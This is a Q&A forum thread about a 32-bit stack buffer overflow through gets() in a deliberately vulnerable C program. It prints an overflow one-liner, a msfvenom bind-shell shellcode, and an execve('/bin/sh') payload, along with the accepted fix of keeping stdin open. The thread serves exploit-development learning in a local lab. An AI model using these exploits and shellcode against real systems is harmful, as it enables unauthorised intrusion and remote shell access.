Exploit Development - GETS and Shellcode

Question

Trying to learn more about exploit dev and building shellcodes, but ran into an issue I don't understand the reason behind.

Why am I not able to run a shellcode such as execve("/bin/sh") and spawn a shell I can interact with? While on the other hand, I'm able to create a reverse / bind_tcp shell and connect to it with netcat.

Sample program:

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}

Sample Exploit:

python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln

Sample Payload (working):

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Tested multiple different execve("/bin/sh") samples, as well as creating my own, then compiled them to verify they work before using it as payload.

Such as: https://www.exploit-db.com/exploits/42428/

Eplox · Accepted Answer · 2018-05-15T15:47:15.460

When the shellcode execve(/bin/sh) executes, it has no connected standard input (because of GETS) and will terminate.

The solution is to close stdin descriptor, reopen /dev/tty before executing /bin/sh.

#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>

int main(void) {
    char buf[50];
    gets(buf);
    printf("Yo %s\n", buf);
    close(0);
    open("/dev/tty", O_RDWR | O_NOCTTY);
    execve ("/bin/sh", NULL, NULL);
}

Related answer: execve("/bin/sh", 0, 0); in a pipe

It is also possible to execute the payload by using

( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln

Exploit Development - GETS and Shellcode

1 Answers1

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